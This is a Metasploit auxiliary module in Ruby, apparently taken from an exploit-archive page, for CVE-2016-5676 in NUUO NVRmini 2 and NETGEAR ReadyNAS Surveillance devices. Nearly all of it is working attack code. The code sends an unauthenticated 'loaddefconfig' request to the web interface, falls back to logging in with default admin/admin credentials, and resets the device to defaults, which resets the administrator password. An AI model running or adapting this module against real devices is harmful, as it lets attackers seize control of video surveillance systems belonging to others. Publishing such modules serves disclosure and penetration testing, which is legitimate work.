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## https://sploitus.com/exploit?id=PACKETSTORM:180821
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',  
'Description' => %q{  
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable  
to an administrator password reset on the exposed web management interface.  
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware  
(before v1.7.6), otherwise you need an administrative user password.  
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.  
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested  
in those devices.  
},  
'Author' => [  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2016-5676'],  
['US-CERT-VU', '856152'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt'],  
['URL', 'https://seclists.org/bugtraq/2016/Aug/45']  
],  
'DisclosureDate' => '2016-08-04'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8081),  
OptString.new('TARGETURI', [true, 'Application path', '/']),  
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),  
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),  
]  
)  
end  
  
def run  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'),  
'vars_get' => { 'cmd' => 'loaddefconfig' }  
})  
  
if res && res.code == 401  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'login.php'),  
'vars_post' => {  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD'],  
'submit' => 'Login'  
}  
})  
if res && (res.code == 200 || res.code == 302)  
cookie = res.get_cookies  
else  
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")  
end  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'),  
'cookie' => cookie,  
'vars_get' => { 'cmd' => 'loaddefconfig' }  
})  
end  
  
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/  
print_good("#{peer} - Device has been reset to the default configuration.")  
else  
print_error("#{peer} - Failed to reset device.")  
end  
end  
end